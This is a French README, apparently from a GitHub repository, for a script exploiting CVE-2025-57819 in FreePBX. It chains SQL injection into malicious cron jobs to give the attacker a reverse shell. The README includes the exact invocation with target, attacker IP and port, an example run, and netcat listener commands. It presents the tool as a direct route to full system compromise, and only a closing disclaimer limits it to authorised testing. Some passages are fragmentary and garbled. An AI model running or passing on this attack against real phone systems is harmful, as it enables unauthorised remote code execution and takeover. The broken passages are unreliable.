its1zero/cve-2025-57819-exploit
< 15.0.66, < 16.0.89 et < 17.0.3Ce script exploite CVE-2025-57819 dans un module endpoint FreePBX vulnérable. La vulnérabilité permet une injection SQL, qui est utilisée pour injecter des tâches cron malveillantes.
Il n'y a aucune étape supplémentaire nécessaire contrairement à d'autres exploits publics qui nécessitent d'interagir avec un webshell téléversé sur la cible. C'est une approche directe qui vous donne directement un accès par reverse shell.
L'exécution de code à distance est obtenue par injection SQL et manipulation de tâches cron. Une exploitation réussie permet d'obtenir un reverse shell sur le système cible. Selon la configuration, cela peut mener à une compromission totale du système.
* * * * *)base64 sont corrompus lorsque les caractères + sont interprétés comme des espaces.Exécutez l'exploit en fournissant la cible et la configuration du listener :
python3 cve-2025-57819.py <target> <lhost> <lport>
<target> : Nom d'hôte ou adresse IP de la cible (instance FreePBX vulnérable)<lhost> : Adresse IP de l'attaquant pour le callback du reverse shell<lport> : Port d'écoute pour la connexion entrantepython3 cve-2025-57819.py freepbx.local 10.10.16.38 9999
Démarrez un listener avant d'exécuter l'exploit :
nc -lvnp <port>
nc -nlvp 9999
Cet outil est destiné uniquement à des fins éducatives et à des tests de sécurité autorisés. Toute utilisation non autorisée contre des systèmes sans permission explicite est illégale. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.
Its1Zero - [email protected]